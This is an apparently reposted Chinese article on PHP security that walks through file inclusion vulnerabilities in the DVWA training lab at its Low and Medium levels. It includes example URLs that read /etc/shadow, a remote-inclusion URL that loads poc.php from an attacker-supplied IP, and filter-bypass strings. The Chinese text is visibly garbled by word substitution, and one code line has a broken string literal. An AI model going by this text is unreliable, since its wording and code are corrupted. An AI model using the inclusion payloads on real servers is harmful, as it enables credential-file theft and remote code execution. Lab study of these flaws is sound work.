加入收藏 | 设为首页 | 会员中心 | 我要投稿 湖南网 (https://www.hunanwang.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 业界 > 正文

浅谈PHP安详类型

发布时间:2018-10-13 08:45:06 所属栏目:业界 来源:littlepotato
导读:【新品产上线啦】51CTO播客,随时随地,碎片化进修 一、媒介 php因生成支持web应用的开拓,以其简朴易学,开拓服从高而备受喜欢。使其占有了大片的市

涉及到的函数如下:

  • include():只有代码执行到该函数时才会包括文件进来,产生错误时只给出一个告诫并继承向下执行;
  • include_once():和include()成果沟通,区别在于当一再挪用统一文件时,措施只挪用一次。
  • require():只要措施执行就包括文件进来,产生错误时会输堕落误功效并终止运行;
  • require_once():和require()成果沟通,区别在于当一再挪用统一文件时,措施只挪用一次。

文件包括光从字面意思来看是可以通过裂痕操作泄漏一些当地敏感文件,可是益于以上几个函数在包括文件的时辰是默认把文件当成代码来看待,假如呈现可执行的php片断就会执行这一性子,文件包括裂痕一样平常是可以举办恣意代码执行的,只要我们可以或许让处事器包括我们可控的代码段。

(1) Low level

  1. <?php  
  2.  
  3. // The page we wish to display  
  4. $file = $_GET[ 'page' ];  
  5.  
  6. ?> 

没有对我们的输入做任何过滤,可以说是一点安详意识都没有。任意操作。举个栗子:

(http://localhost/dvwa/vulnerabilities/fi/page=/etc/shadow)。虽然也可以在处事端写下poc.php,操作http协议实当代码执行

(http://localhost/dvwa/vulnerabilities/fi/page=http://)[ip]/poc.php。条件前提是allow_url_fopen和allow_url_include处于打开状态。

(2) Medium level

  1. <?php  
  2. // The page we wish to display  
  3. $file = $_GET[ 'page' ];  
  4.  
  5. // Input validation  
  6. $file = str_replace( array( "http://", "https://" ), "", $file );  
  7. $file = str_replace( array( "../", ".."" ), "", $file );  
  8.  
  9. ?> 

起首这个基于黑名单的过滤,压根就没有把当地绝对路径思量到,其次可以行使…/./,htthttpp举办绕过。

(编辑:湖南网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读